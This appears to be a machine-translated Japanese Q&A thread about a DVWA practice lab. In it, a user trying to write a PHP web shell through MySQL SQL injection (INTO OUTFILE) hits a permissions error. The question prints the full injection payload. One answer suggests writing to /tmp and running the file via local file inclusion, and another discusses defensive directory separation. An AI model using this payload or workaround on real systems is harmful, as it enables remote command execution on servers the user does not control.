web-dev-qa-db-ja.com

シェルを書き込もうとするときにMySQLのErrcode 13を処理する方法

私の攻撃マシンはKaliを実行しており、サーバーはCentOS 6.4とDVWAを実行しています。

SQLインジェクションを介してシェルを記述しようとしています。ペイロードは

' UNION SELECT '', '<?PHP system($_GET["cmd"]); ?>' INTO OUTFILE '/var/www/html/dvwa/Shell.php';#

送信すると、次のエラーが発生します。

ファイル 'var/www/html/dvwa/Shell.php'を作成/書き込みできません(Errcode13)

問題の検索は、権限の問題かSELinuxのいずれかであるようです。宛先を'./Shell.php'に変更すると、ファイルはサーバーの/var/lib/mysqlに保存され、その所有者はmysql/var/www/html/*の所有者)はApache)です。

これが私がアクセスできないリモートサーバーであると仮定すると、シェルを/var/www/html/dvwa/に正常に書き込むために、この状況にどのように対処できますか?

4
eez0

このエラーは、MySQLがこのディレクトリ/var/www/html/dvwa/への書き込み権限を持っていないために発生します。

最近のほとんどのLinuxディストリビューションでは、AppArmorまたはSELinuxを使用してデーモンプロセスを分離しています。 MySQLで/var/www/に書き込むことができない可能性があります。ただし、MySQLがこのディレクトリから読み取ることができる場合があります。このステートメントは、この投稿の時点でのUbuntuのAppArmorルールセットにも当てはまります。

PHPペイロードを/tmpに書き込むことでUbuntuでこの制限を回避し、ローカルファイルインクルードの脆弱性を使用してペイロードを実行しました。これにより PHP-Nukeのリモートコード実行の悪用

3
rook

理想的には(サーバー管理者の場合)MySQLでアクセスできるファイルの場所とApacheでアクセスできるファイルの場所とPHPは交差しません。通常、/tmpはすべてのユーザーがアクセスできますが、 -designedシステムは、/tmpへのアクセスを明示的に拒否するすべてのサービスに対して個別の一時ディレクトリを使用します。

言い換えれば、理想的にはそのようなエクスプロイトは不可能です(それが「理想的」に意味することです)が、実際には、通過できる穴や見落としがいくつか見つかります。これは、システムごとに行う必要がある場合があります。

0
tylerl